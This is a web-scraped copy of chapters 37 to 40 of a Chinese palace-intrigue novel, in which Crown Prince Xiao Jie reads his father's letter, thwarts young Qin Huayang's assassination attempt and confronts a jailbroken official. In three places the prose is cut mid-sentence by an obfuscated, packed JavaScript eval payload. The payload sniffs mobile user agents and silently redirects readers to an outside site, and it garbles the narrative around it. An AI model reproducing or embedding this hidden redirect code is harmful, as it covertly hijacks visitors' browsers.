萧玠恼得要跺脚,抬手就要将芍药拔下来,“我当时就不该答应你,叫你这样戏弄我。” 虞闻道忙拉住他的手,从马背上跳下来,哄道:“好殿下,是我孟浪,你以后是要胸怀四海的雅量,别跟我这斗鸡走狗的计较。咱们再拉扯,陛下真得拿住我问个一二三四了。” 萧玠还没叫人这样开过玩笑,拂开他的手,就要走,抬头见他那朵芍药已经垂到鬓边,看着难受,又不想轻易同人讲话,也不开口,上前拉住他的领子叫他低头,把那花重新簪好。收回手要回席时,他目光擦过虞闻道的笑脸,看到他身后不远处,秦华阳端起酒杯的目光。 *** 秦华阳咕咚吃了口酒,又倒上,再吃一口。 秦温吉瞧他神色,和他碰了碰盏子,“摘个第一,还拉着脸。” 秦华阳冷声道:“一群纨绔,赢他们,还丢我的名声。” “如何也不是丢‘你’的名声。”这个年纪的孩子再早熟也不会很好地掩饰情绪。秦温吉顺他的目光看去,很了然,“想要那花,就找他要去。” 秦华阳道:“我才不稀罕。” 秦温吉笑起来:“有意思,我瞧你对他爹那样,还以为你也得恨得他咬牙切齿。” “不瞒您说,您对他嘛,我本也是这么想。”秦华阳对她举了举杯,“阿娘。” *** 虞闻道抬臂打起竹帘,先请萧玠进去,自己还是从他身边坐下,挨着给他打扇。凉棚底,那团芍药晕成发紫的胭脂色,染在虞闻道乌得生青的鬓边,像只巴掌大的蝴蝶,随着扇底微风细细,一扑一闪地翩跹起来。两人说了一会话,虞闻道便告辞,这一会能够随便走动了,他父亲嘉国公也在场,不去问礼不合适。 萧玠放他走,便同沈娑婆说话,正问道:“你还想回教坊么?” 沈娑婆道:“没想好。” 萧玠又问:“若不回教坊,你有没有想做的事?” 沈娑婆呆了一会,还是摇头,“臣在教坊这些年,已经养成废物一个。肩不能挑,手不能提,只一把琵琶能混口饭吃。但现在,臣也不太想弹琵琶。” 萧玠还要开口,外头竹帘一响,两旁侍人纷纷欠身行礼,竟是阿双赶了过来。她眼眶微红,轻声叫道:“殿下。” 萧玠起身凑到她身边,听她压低声音:“政君想见你。” 萧玠一颗心骤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秦温吉搂着他的后脑,叫他的脸依在自己肩上。她缓慢拍打萧玠的后背,掌心摸到他一节一节突出的脊骨。她察觉肩头一片洇湿,萧玠在她怀中微微颤抖,但自始至终,没有发出半分哭声。 过了一会,萧玠从她怀里直起身,擦了擦脸,冲她笑了笑:“让您见笑了。” 秦温吉抚摸他的脸,一手牵过马,一手牵着他,两个人慢慢在草场边踱着。她问:“这些年还好吗?” “很好,陛下一直疼我,身体也比之前强了。” “新皇后,待你好吗?” “好的。” 秦温吉默了一会,又道:“他没有不要你。” 萧玠不讲话。 “你的信,他一封没瞧见。”秦温吉说,“我没叫他瞧。” “是我任性了。”萧玠说,“姑姑做得对。” 秦温吉停下脚步,松开马缰,另一只手仍牢牢握着萧玠。她从怀中取出一封信,递到萧玠面前。 阿玠亲启。 萧玠浑身一僵,手指都不知道要怎么动弹。好半天,才将那封信接在手中,哆哆嗦嗦地撕开,小心翼翼地将信纸抽出来。 信很厚,有好多页,萧玠一个字一个字看得认真,怕一口气就读完。也不敢拿得太近,怕叫眼泪打湿了。 秦温吉道:“你那些信,他如今都瞧过了,每一封都写了回信,我这次带了来,装在一口箱子里,已经叫阿双看着送去东宫了。这些年每到正月十五,他都亲手给你做盏灯,每年开炉的第一串光明钱也都给你攒着,还有一些文房四宝、穿的用的,见一样就给你攒一样,也都带来了。他让我亲口告诉你,‘阿耶没有不要他,阿耶对不住他’。他当年是想带你一块走的。他说,丢下你这么多年,你若恨他,就恨,但他对你的心,永远不会变。” 萧玠哽咽道:“我怎么会恨他……我想他,我……” 我爱他啊。 他抓着那封信合在心口,渐渐缩在地上,像多年前的秋天,跑遍大梁宫每个角落都找不到阿耶的小孩子。秦温吉没再拥抱他,现在能抱他的只有秦灼,任何一个人都替代不了。她不能,萧恒也不能。 许久,那个小孩子又跑回萧玠心脏的小房子里,换早熟的皇太子戴着枷锁走出来。他收好信件,擦干泪迹,对秦温吉俯身大拜,叩头三声,叫道:“政君。” “请他保重,一定请他保重。”萧玠声音颤抖,“我会去找他。” 他昂首望向秦温吉。 “我一定去找他。” 38. 第 38 章 萧玠再回席间时,太阳已然沉没,天穹泛起夜色来临前特有的灰紫色光辉。因下了太阳,帘子一概卷起来,萧玠一过来,就瞧见帘底坐着的虞闻道。他鬓边那朵芍药已然萎了,傍晚时分,像一团紫色的余灰。 萧玠没料到他还在这边等,开口道:“怎么还戴着?” 虞闻道笑道:“这等花残粉褪,不正好衬臣的天姿国色吗。” 萧玠笑道:“大晚上的,你要国色给谁瞧?” 虞闻道左右瞧了瞧:“臣坐在这里,还能给谁瞧?” 萧玠笑起来,也从旁坐下,拿起座旁一件半旧的织锦披风系上。虞闻道看他系带子,发觉这披风做工极其精细,唯有掺杂金线,在夜间才会这样流光熠熠。绦带下装饰两只芙蓉形的脂玉盘扣,是专门用来结系流苏的。这是早年大贵族间的风尚。 这件披风,不像今上宫中会有的东西。 萧玠没有留意他的目光,只问:“天色这样晚了,陛下不起驾吗,还是要在这边住一夜?” 虞闻道说:“圣驾是要回銮,只是又到了晚饭时辰,便说不若一块用过,再各回各家。” 萧玠抬头一瞧,见众臣果然已重新落座,萧恒的位置却还空着。 思索间,一阵脚步声响起,果然是秋童赶在这个时辰将夜间的药送了来。虞闻道还是第一次见这药,忍不住皱了皱鼻子,道:“良药苦口,这药气味这样重,想必是好药。” 萧玠看着他,“这药叫长青散。” 虞闻道没有再言语,看萧玠将那碗药吞尽。 他的袖口松开,像大红的花骨朵一样哗然绽放,露出萧玠一双手腕。虞闻道看到,他腕上穿着一截红线,四枚铜钱,暗夜之中,四射金光。这时,虞闻道离宫闱秘闻的真相不过一步之遥。很可惜,当时当刻,他的视线略过那条红线,落在萧玠的手腕上。 一般人的血管在手背上要明显,却很难在腕部还这样清晰可见。他腕骨突起,血管缠绕其侧,像吸附岩石上的一条青色蠕虫。但这双手腕并不丑陋,反而有一种瓷器的脆感。 虞闻道想,倒像双女孩儿的手腕。 这一会,萧玠已经将碗放下,问秋童:“怎么不见陛下?” 秋童道:“陛下想去林子边走走。” 萧玠问:“有人跟着吗?” 秋童道:“本不叫跟,可毕竟人多眼杂的,奴婢拿殿下劝的,陛下才叫一队龙武远远跟着。” 萧玠点点头,还要讲些什么,余光扫到对面,突然眼神一定,转过身子去看。 他仔细辨认一会,问:“秋翁,对面空着的是不是丹灵侯的位子?” 秋童瞧了瞧,道:“挨着政君,正是。” “丹灵侯什么时候不见的?” 秋童还真没留意,“估摸有一会了。” 萧玠呼吸发沉。 他盯着空着的位子,眼前,却是破空射来的一道寒光。 自己猜错了最好,但如果没有猜错……如果,他真的要杀萧恒呢? 现在萧恒身边有龙武跟着,秦温吉又在,就算为了母亲的安危,秦华阳也不敢贸然出手。而萧恒一旦回宫,他更没有动手的可能。 今夜是唯一的时机。 他会用什么方式,什么手段?匕首还是投毒,暗箭还是嫁祸?自己该怎么应对,怎么处理“秦华阳行刺”的直觉——或者猜疑呢? 直接叫人扣下他? 但他若没有动手,或压根没这个意思,梁秦好容易再续的关系,只会破裂得更加难看。 可他万一真存了那个心思,筹码就是萧恒的命。 这不是赌局,萧玠赌不起,只能一击必胜。 秋童见萧玠陷入沉默。夜色下,他一张脸冷如沉璧。他声音也清凌凌地:“秋翁,麻烦您再带一队人去找陛下回来,就说我想这边住一晚。还有……” 他附耳同秋童说了些什么,秋童有些讶然,依旧点头应是。 嘱咐完这些,萧玠掉过首,冲虞闻道笑了笑:“三哥,我要再托你一件事。” *** 皇太子有意留宿,皇帝便命人就地扎帐,连同在场臣工,由大内官带人记册、分发帐篷物什。 秦华阳正拿一把银刀切割肉排,瞧着人群往来纷乱,冷笑一声:“不是说皇帝向来穷酸么,为了太子一句话,也干得出这样兴师动众的事。” 秦温吉道:“你过生日,你阿耶不是没给你点过灯。” 秦华阳下手利落,毫不留情。刀锋之下,油脂四溢,筋骨分离。他用刀尖插一块皮脂焦黄的肉条,送到口中,边嚼边道:“一年一次。” 秦温吉自己切肉吃酒,只说:“想打什么盘算,自己善后,没人给你擦屁股。” 秦华阳坐在她身旁,目光如炬,穿透黑夜,照射在皇帝萧恒苍白的脸上。一时间,他手中刀刃发力,咯吱作响,那头乳猪的颈骨应声而断,露出蜂窝状的内部组织,并猪血一段,已然凝固;骨髓一截,油花闪耀。 他用一种捕猎的姿态观察皇帝。一餐饭间,皇帝吃掉半碗稀粥,半碟炙鹿肉(由太子切好送来),一角蜜瓜,一盏酒水。这些饭食不足以维持一个壮年武人的日常所需,那说明眼见为实,所传非虚,皇帝的体力已经极速衰弱,完全不复盛年之态。 当然,有关皇帝的盛年描述,秦华阳认为掺杂了相当的水分。 在皇帝放下粥碗时,内官秋童面露焦急,上前同他耳语几句。顷刻间,皇帝骤然变色,当即起身离席。 他一动,秦华阳也要行,面前却叫人一拦。秦华阳不得不转移视线看向那张脸,他认得这个人,白天这人以为自己要射杀太子,开弓拦下自己一箭。 那人端一杯酒水,冲他拱了拱手,道:“在下嘉国公世子虞闻道,今日一场误会,冲撞丹灵侯,特来向侯爷赔罪。” 秦华阳不欲纠缠,端起酒杯和他一碰,一饮而尽,道:“无罪。” 谁料这人极会就坡下驴,当即提壶再满一杯,笑吟吟道:“既然无罪,在下有心结交侯爷这个朋友。侯爷年纪虽轻,骑射却极其了得,可见家学之深,我等叹之莫及。” 秦华阳矮身躲开他手臂,大步往场后绕去,边道:“我有事情,你先叹着。” 叫虞闻道一打岔,席上已不见皇帝踪影。如今席间畅饮,帐篷少有守卫,秦华阳远远望去,见皇帝那顶大帐亮着灯火,不一会便熄灭了。 一天寒星,遍野虫鸣,秦华阳躲过巡逻,蹑手入帐。 皇帝气力虽不济,但传闻耳目极其灵敏。幸好秦华阳也是个中好手,天赋异禀,他闪身而入时,几乎没有发出任何声音。 帐内无人,床帘垂落,榻下有靴子一双,外袍一件。 如果秦华阳再长几岁,他会立即从这双靴子上察觉纰漏。这显然不是一个成年男子的鞋履,他可以据此识破一个未成年者故意设施的陷阱。 但秦华阳今年不过十岁余一,可能还要再小一些。 隔着帘子,秦华阳隐约看见有人侧卧在内,呼吸平稳,已然熟睡。 他胸中波澜陡生,情绪汹涌,那股湛青之色再次染透脸颊。砰地一声,烟雾四起,秦华阳化身一只讨命阎罗。 是时候了。 一切罪、一切孽、一切伤害的始作俑者。 冤头债主,血债血偿! 他从靴边拔出匕首,纵身一跃,刺入帐中。一瞬间,无数光芒从帐中迸溅,剑锋的白光、鲜血的红光、脸庞的青光,五光十色,如同幻境。 在看清那人脸庞前,秦华阳就在擒住剑锋的双手和力道上察觉出异样。据此,他迅速推断出身下所卧何人,当即喝道:“有毒!” 那人一惊,双手一松,秦华阳反手将匕首插在榻边,握紧那人手腕。 然后,发生了这个夜晚最戏剧的一幕。 刺客秦华阳立即埋首,双唇贴在他新割开的伤口处,用力一嘬,扭头往地上一喷,血迹落地,已然发黑。 那人也被这转变震惊到,直到秦华阳吐掉最后一口毒血,仍没有说出一句话。 做完这些,秦华阳毫无恼怒,不见慌张。他面无表情,拔出匕首跳下榻来,迈步要走。 他的手被人拉住。 那人声音很柔,很轻,说:“陈华阳,你是叫这个名字。” 他掉过脸。榻上光芒消散,迷雾逝去,皇太子的面孔清晰可见。皇太子问:“你知道我是谁,对吗?” 秦华阳看了看他握住自己的手,答道:“梁太子,梁皇帝的儿子。” 他提醒:“不是什么人都随父姓。我不姓陈,我姓秦。” 他挣脱之时,那只手的主人说:“你小时候,我抱过你。” 秦华阳沉默了。 萧玠站起来,看着自己掌心伤口,叹口气,说:“你走吧。你是政君的儿子,就是我的兄弟,我不会杀你。” 秦华阳横眉冷目,问:“我阿娘和你,能有什么关系。” 萧玠一愣,只道他不记得了,避而不答,只说:“你该走了。” 秦华阳看着他的脸,缓慢、一字一句地说:“还是说,我舅父和你的关系。” 萧玠心头一震,再次看他,这个孩子眼里闪烁着残酷、毒箭一样的冷光。他正冷冰冰道:“梁太子、萧太子,或许我叫你秦太子更合适。” 萧玠默然不语。 秦华阳看了他片刻,突然一笑:“你不杀我,我可要杀他了。” 话音一落,秦华阳纵身投身帐外,如鱼入水,夜色之中,溅起一梭透明涟漪。萧玠快步追去,只闻远处马蹄催动。他没瞧见巡逻,也来不及叫人,忙拉过营边一匹御马翻身追去。 但秦华阳的马蹄太快了。 秦华阳简直像是野马的儿子,他一上马背,就化作骏马的一部分。萧玠竭力追赶,也只听到呼呼风声。驯马无论如何也跑不过天生天养的野马。 眼看那人越来越远,萧玠深深呼吸,从靴边拔出一把匕首,挥臂刺在马臀之上! 骏马哀鸣一声,吃痛狂奔起来,剧烈颠簸里萧玠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566381|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几次险些掉下马背。他满嘴锈气,死死攥住马缰马鞍,眼睛紧盯前方那点红影。 到了,快到了! 骏马跃过了秦华阳的马头却越发狂躁。黑夜之中,马鸣越发凄厉,马目越来越红,身上的伤口和入肉的缰绳将它彻底激怒,骏马不断打转、扬蹄、高跃,试图将萧玠颠下马背。一待萧玠坠地,这匹激发野性的伤马当即会把他活活踩死。 突然之间,萧玠感觉马背剧烈一簸,还没来得及反应,一道震耳欲聋的哀鸣声穿透夜空,前一刻还发狂的马匹轰然倒地。 他跟着一起摔在地上,天旋地转间,才发觉身后还跌倒一个人。几乎是落地的一瞬,秦华阳就爬起来拨过他,检看他身上有无伤口。 萧玠躺在草地上,眼睛无目的地转了转,尚未回神。 面前,秦华阳丢掉匕首,一身鲜血。地上,马匹轻微抽搐几下,喉管割断,血染草野。 秦华阳探手的瞬间,萧玠已经纵身把他压倒,抢过地上的匕首,逼住秦华阳的脖颈。 秦华阳看看匕首,再看看他,连连冷笑:“刚刚不是说,不杀我吗。” 萧玠咬住嘴唇,难发一言。转瞬间,秦华阳臂起手落,萧玠只觉右肩关节一痛,已然被秦华阳卸掉右臂。 男孩把他从身上掀翻,反手夺过匕首,看都不看他一眼,就要翻上马背。 萧玠突然叫道:“你准备弑君!” 秦华阳的背影停住了。 萧玠用左臂支撑自己起身,迈过马尸时蹭脏了衣袍。他缓了口气,道:“你准备弑君,但选择在陛下离席的节点,又把踪迹抹得很干净,说明你有过考虑,并不想被人发现。或者说,你并不想祸及南秦。” 秦华阳拨过马头,像个魑魅,冷冷地,盘踞在马背凝视他。 萧玠声音异常冷静:“但现在,我知道了。你只有两个选择,要么杀了我,要么就此罢手。如若圣躬有损,我敢保证,政君不会回去,温吉王城会被大梁铁骑踏成平地。” 两人之间,月光湛湛,冷风飕飕。秦华阳面无表情,这么看了他很久,说:“你真是你爹的种,和他一样,没有人心。” 萧玠笑了笑:“你说是,就是吧。” 秦华阳像不认识他一样——他当然不认识他——从头到脚把他打量一遍,说:“你真的知道你是谁吗?” 他终于突破异常的控制力,把真正的情绪暴露出来。秦华阳冷声逼问:“你到底是谁的儿子,你一点也不记得萧恒对他做过什么事?你是怎么能跟这样伤害他的人生活下去的?你为什么不报复他,为什么……不杀了他。” 他每一问都像一支利箭,借助月光的弓弦,毫不留情地射向萧玠。萧玠全盘接受,只能说:“父母之恩大于天。” 秦华阳问:“你的母呢?” 萧玠无言以对。 秦华阳眼中鄙夷之色闪动,不再理他,正要喝马,突然听那人叫道:“我报复过他。” 这句话对秦华阳似乎具有极大的诱惑力,早于他的理智,他已经双腿一拧,黑马重新掉转过头。 面前,皇家猎场犹如荒野,皇太子颓眉耷眼,宛如一只初死的孤鬼。 他哑声说:“我报复过,并且他一看到我,我就还报复着。我了解我的父亲,这是让他比死亡还要痛苦的事。还有什么惩罚能大过死亡呢?我报复他,我怨恨他,我也心疼他。” 月光很稠,如同胎膜,将他二人缠绕其中,宛若同胞。一时间,萧玠脸上生起一股和他相肖的铁青之色。秦华阳看在眼里,陡然产生一股说不清道不明的悲悯。他听到自己问:“真的有大过死亡的惩罚吗?” 萧玠说:“如果你见过他这些年的话。” 秦华阳冷嗤一声,也不说话了。 萧玠试图抬动自己的右臂,只是徒劳,便道:“我离席太久,太子六率会来寻找。趁人还没赶到,你快走吧。” 秦华阳冷笑:“你现在不怕我杀了他。” 萧玠说:“我谎称生病回宫,陛下已经赶了过去,如今将近子时,陛下已经到了。别说是你,就是整个虎贲军,也冲不进宫城一步。” 秦华阳没有多说,将那把淬毒的匕首插进靴子,说:“你跟不跟我走。” “什么?” 秦华阳问:“你一点也不想念他吗?” 萧玠说:“我想他想得要死。” 他顿一顿,缓声说:“但华阳,我不是秦太子。秦太子是你的表弟秦寄。我是萧太子,只能是。” 秦华阳没有多说,就此拨马离去。临走前,他深深回望一眼,对萧玠说:“你记住,我不姓陈,我姓秦。” 喝马声响起,马蹄声远去,萧玠立在那具骏马的尸首前,看它的血缓缓流干,不知道为什么,突然掉了一串眼泪。这么站了一会,他也就慢慢踱回去,径直走进一顶有光亮的帐子,冲里面迎上来的人道:“三哥,帮我个忙。你别怕,我没事,我……” 他张了张嘴,好久,才发得出声音:“我胳膊接不上了。” 39. 第 39 章 虞闻道帮萧玠接好手臂,又找了药膏给他擦关节,从始至终,只嘱咐一句夜间骑马尤其要当心。 萧玠不敢擅动肩膀,到底不好穿衣,只得叫他:“三哥。” 他赤出右臂,罗衫搭肩,一旁烛光淡淡,洒上肌肤,如同蛛网。 虞闻道的目光稍稍顿留,像一只春虫的触角,离开之时,牵起几缕蛛丝。 萧玠也看着他。 片刻后,虞闻道拿帕子擦净手上药膏,跨步走上来。 他动作迅速,手法却极轻柔,几乎没有牵动到萧玠的伤处。这个距离,眉睫可见,呼吸可闻。萧玠心中有些古怪,下意识抬手掩了把领口。 虞闻道正给他系纽子,便将他的手摘开,笑道:“叫臣帮忙的是你,现在遮掩的也是你。臣是个男人,殿下又不是女孩儿,有什么忸怩的。” 萧玠要恼,叫他:“三哥。” 虞闻道笑了笑,含着戏谑,往下一瞧。萧玠意识到,他在看握着自己的手。他也跟着低头看去——虞闻道的手要大,已经接近成年男人,一只手富富有余地抓着自己左腕。腕上的光明铜钱卡在他指间,红线也从他指缝中冒出一头。 虞闻道并不算黑,但在自己这样苍白的肤色前,衬得他深一些。萧玠感到他的茧子磨在自己指背上,和那只白玉扳指一起,是两种截然不同的触感。 那个位置是写字磨的,茧子很厚,虞闻道应该不少用功。 但京中讲起虞闻道,都叹嘉国公独此一子,却是个膏粱。 萧玠欲言又止,到底只发出气声。 虞闻道闻声抬头。 萧玠嘴唇抿了抿,只是道:“你不问我怎么搞成这副样子吗?” 虞闻道笑道:“殿下想讲,自然会开口。臣么,只听吩咐办事。” 说着,他叫萧玠起身,萧玠这才发现腰间玉带已经脱落一半。他站起,虞闻道却突然跪下来。 萧玠骇了一跳,“干嘛?” 虞闻道替他解开带扣,见他神色,哈哈笑道,“臣站着给殿下正玉带,那叫逾矩。这就完了,殿下老实些,臣也少跪一会。” “你快起来。”萧玠着急,忙拿左手拉他,“就算阿子,也没有跪着帮我穿衣的道理。叫别人瞧见,还以为我怎么作践你呢。” 虞闻道连声道:“这就好了,这就好了,殿下别着急。” 二人闹腾间,帐子突然被打开,帐外两人瞧这副情形,皆是一愣。 萧玠见阿子找过来,也收整神色,“我来世子这边吃盏茶水,正打算回去,你却来了。” 阿子身边立着小厮竹枝,打小服侍虞闻道,是其腹心。他向萧玠行过礼,冲虞闻道使了个眼色。 萧玠便站起身,“时辰不早,我先走了。” 虞闻道将他送出帐外,没有再留。 阿子打着灯笼,习惯性地搀扶萧玠右臂。萧玠眉头一皱,怕他惊动萧恒,硬是没有出声,只问:“怎么跟嘉国公府的人一块来了?” “来的时候撞见的。”阿子不见他,一颗心悬了一夜,如今絮絮道,“转眼的工夫,殿下又跑哪里去了?奴婢带着太子卫率找了半天没瞧见您,半道还碰见了丹灵侯……” 萧玠不动声色,“丹灵侯?” “是,夜间侯爷也没了踪影,政君也派人来找,正好……” 阿子的声音被一阵狂奔马蹄声惊断。 萧玠闻声掉首,见身后不远处,一人扬鞭打马,身影投入夜色之中。 阿子呀地一声,“世子这是往哪里去?” “走得这样急,只怕嘉国公府上出了什么事。” 萧玠忆及竹枝的焦急神色,嘱咐阿子,“叫人去问问,看看有什么能帮上忙的。左右嘉国公也在,也去通报他一声。” 阿子道:“殿下不晓得,嘉国公天没黑便离席了。” “陛下知道吗?” “这……奴婢不清楚。” 天子摆宴,虞山铖却提早离开,多少反常。萧玠心中总有些惴惴,却没有什么追查的根据,又同阿子道:“陛下回东宫没见着我,怕要连夜赶回来。你一会同秋翁讲,给他备一碗姜茶,放温了叫他吃。陛下吃不得热水,但也要少吃冷食。” 二人说话这一会,打探消息的东宫卫率已经赶回,冲萧玠躬身,“回禀殿下,嘉国公府上……应当无事。” “无事?” “是,无事。卑职留了个心眼儿,叫人跟着世子。结果世子没有回家,去了从前王祭酒的府上。” “王祭酒,”萧玠眉头一跳,“王云楠?” 卫率点头应是。 王云楠兄弟贪墨案结后,萧恒罢免其官职,抄没贿资,判流刑。嘉国公府与王氏从未有什么深情厚谊,在这样的关头,虞闻道去他府上做什么? 萧玠思索片刻,问:“你赶去时,王府情形如何?” “这才是最要紧的。”卫率道,“王府大门紧闭,门口有人把守着,如何也不下十人。开门时卑职瞧了一眼,迎世子进门的,似乎就是王云楠。” 萧玠双眼圆睁,“他不是在台狱里吗?你没有看错?” “卑职不敢说定,但那形貌,总有七八分。” 萧玠无暇考虑虞氏立场,无暇思索那张通传消息的字条和如今的矛盾行为。他迅速道:“拿我的手令,叫人快马去台狱走一趟,看看王云楠在不在狱中。还有,立即将这件事禀报陛下。你先别走,我还有话要问。” 阿子听了吩咐,忙跑去帐外传令。萧玠缓和口气:“王府还有没有什么异样?” 卫率道:“世子要入门时,一开始被那些家丁拦住。世子要闯,也没有拧过对方,这便要打起来,连兵器都动了。估计是动静大了,王云楠才亲自来察看。” “他们敢对虞闻道出手?” 卫率点头,“卑职觉得非常不妙,叫人暗中监视,忙回来禀报殿下。” 萧玠徐徐吐出口气,眉头仍未舒松,这样坐立不安一会,又有东宫卫前来回报:王云楠果然已不在台狱,狱中不过一个形似之人。 萧玠当即明白,这是一场早有预谋的越狱,甚至不只是越狱。 萧玠深吸口气,道:“王云楠座下的得意门生都有哪些,立即去看他们如今在不在上林。再问问王府这几天有没有什么异样,他的妻儿有什么异常举动。还有……” 他终于露出些焦急语气:“陛下怎么还不到?” 这一会阿子也从秋童那边回来,道:“殿下别急,陛下从东宫赶回这边,如何也得有一个时辰的功夫。” “龙武卫呢?尉迟将军呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566382|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “没瞧见人,估计是跟随陛下回宫了。” 阿子见萧玠脸色苍白,问道:“殿下,怎么了?” 萧玠摇摇头,重新坐回座中,右臂关节突突地跳着疼。 那支蜡越烧越短,萧玠不言不语,脸色却越来越难看。终于再听帐子打开,他看见来人,忙起身迎上去,“秋翁,陛下那边……” “陛下那边还没传回消息,奴婢听说,殿下要问王云楠的事?” “是,秋翁,你实话同我讲。王云楠回府是不是陛下有所安排,陛下知不知道?” 秋童瞠目,“他不是下进台狱,如何回府?陛下从没有过开释他的旨意呀!” 萧玠心中一紧。 这不是萧恒的姜尚钓鱼,那说明王云楠越狱,是意外之事。 萧玠急声问:“那王云楠府上呢?秋翁,他府上有没有什么异样?” 秋童想了想,“陛下倒叫人一直看着,前一段他的老婆孩子离了京,应当是回了山西老家去。” “也不等他的发落,直接走了?” “是。” 说话间,东宫卫率带来最后的消息。王云楠座下亲密者,十人里有三人告病,未随行夏苗,又有三人入夜后便未见行踪。 和虞山铖一样。 更糟糕的是,这六人之中,有四人曾在军中任职。 这样一个时候,夏苗之际,百官在野,天子出宫。而王云楠妻儿出京,冒死越狱,今夜他的亲信又纷纷空席,还有匆忙赶去的虞闻道…… 突然之间,萧玠浑身剧烈一颤,看向秋童,“秋翁,你还记不记得奉皇五年的那场京乱?” 秋童倒吸口气,“殿下的意思是……” 萧玠扯下左腕上的光明铜钱,“阿子,你拿上这个,再携太子玉符去找政君,如果王云楠谋逆攻打上林,务必请她援手。秋翁,你叫人兵分两路,一路快去找陛下,叫他带着人来,一路持我的令牌赶去郊外金吾卫大营,立即将兵调过来保卫上林。先不要惊动百官,只怕里头会有内应。” 他深吸口气,喝道:“全体太子六率,随我赶去王府,备马!” 秋童大惊失色,“殿下,千乘之尊不涉险,你要是有个什么万一,你叫陛下怎么活啊!” “秋翁!”萧玠叫他抓住右臂,也顾不得疼痛,急声道,“现在嘉国公父子都在王云楠府上,究竟是什么用心我们能赌吗?陛下现在已经在出宫的路上了!他带了多少人,龙武有没有跟着,他是不是心急自己一个人先赶回来,我都不知道,我联系不到他!万一陛下在路上出了什么事,你叫我怎么活啊!” “殿下!” “秋翁,王云楠如果反是鱼死网破狗急跳墙,但嘉国公呢,他犯得着吗?虞闻道之前还给我送过消息,示过诚!”萧玠掰开他的手,“如果王云楠要谋反,我出面之后,嘉国公就必须表态。他要么杀了我,要么就必须帮我擒下王云楠,不然他就是板上钉钉的附逆!他虞氏从肃帝朝以来几十年的荣耀都不要了,他浑不到这个地步!” 秋童泪都要出来,“嘉国公如果就是跟着谋反呢?他要是真跟你动手……殿下,殿下!” 他冲出帐外时,只听到马鞭在空中打响的声音,和不远处太子六率闻讯赶来的齐步奔跑之声。 40. 第 40 章 萧玠抵达王云楠府门之时将近三更。 三更天的梆鼓被太子六率汹涌的脚步声打断。这令王云楠惊慌失措,从他闪烁的眼光和对亲信的窃窃私语可以看出,皇太子驾到显然出于他的计划之外。 但箭在弦上,王云楠无法退避。他由府兵簇拥,穿着尚未更换的赭色囚服,抄着双手眯眼审视对方。 台阶下,太子萧玠坐于马背,脸色异常平静。这让王云楠想到他喜怒无色的父亲,这种情形之下,在太子身上察觉皇帝的影子给他造成了极其可怕的心理压迫。 这时,太子开口了——他的语气都和皇帝如出一辙,他这样称呼王云楠:“王相公。” 但随即,太子似乎察觉错误,微笑道:“哦,现在该称呼你,王郎。” 王云楠盯着太子,突然,一个崭新的方案在他头脑中成形了。 他眼睛仍落在太子脸上,嘴巴却在亲信耳边下达了第一个指令:让射手登上屋檐,等待他的号令。 在今夜之前,他没有任何与皇帝谈判的筹码。但太子送上门来,未必不是他的生机一线。 挟太子以令天子,是一个伟大的冒险。 府兵的步伐轻悄,在紧张气氛和夜色的遮掩下,靴子登上梯子的声音几不可闻。太子的马匹离得不远,正在射程之内。 如果活捉不成,太子也会被射落马背。王云楠就算一死,能让皇帝得到这样惨痛的报复,也算不枉。 炬火照亮皇太子的脸庞,他对这一切无知无觉:“王郎不在台狱好好待着,怎么跑出来了?本宫似乎没有听到大赦的旨意。” 太子语气冰冷:“王云楠,你欺君越狱,该当何罪。” 王云楠选择周旋,“太子殿下夤夜造访,就是为了问臣——问草民这件事?殿下既然要擒拿草民归案,何必多费口舌。” 太子没有下令一拥而上,王云楠本来奇怪,但说到这里,他突然有些明白。 王云楠如果真要谋反,绝对不会把兵力全部留在府中,很有可能在京中四散据点。这是太子无法得知也不敢去赌的信息。 他得从王云楠口中撬出来。 想到这里,王云楠笑起来:“我劝殿下,还是赶早回去守着陛下。别叫殿下一时之离,成了毕生之憾。” 太子的神色发生变化。一瞬间的惊惧闪过后,他的脸上,流露出具象的愤怒。他把马鞭按在马鬃毛上,说:“你想好,你若只是越狱,祸尚不及子女。走了这一步,你们九族的香火要到头了。你的门下、亲眷,还有这些在场的部曲,都要因你一人之罪流血千里。他们信你跟随你,你却要置他们于死地,我真不知他们是你的亲人,还是仇敌?” 王云楠发觉,这位太子殿下极其娴于辞令。同样,他也察觉,太子并不想动手,不战而屈人之兵是他的真正目标。 太子说:“王云楠,本宫和你算一笔账。你这座宅子就算储兵,最多不过一千之余。你的门下的确有军中之人,但他们能够在京中调动的人马,无论如何也超不过三千。不论禁卫,只本宫麾下的太子六率,就能叫你死无葬身之地。你就这么有把握,一定能把京城掀翻吗?” 王云楠笑道:“殿下真的以为,草民只有明面上这些人手吗?” 太子凝视他,“但你明面上这些人,一定会死。” 王云楠笑不出来了。 他不笑,太子笑了:“就像今夜站在我对面的这些人,在你的计划里,必定要牺牲。” 太子环视王云楠的府兵,他目光扫过之处,王云楠感到众人脚步微挪,身形微动。接着,太子做出判断:“我猜测,以诸君参差不齐的年纪和形制不一武器,不会是王郎专门豢养的死士。” 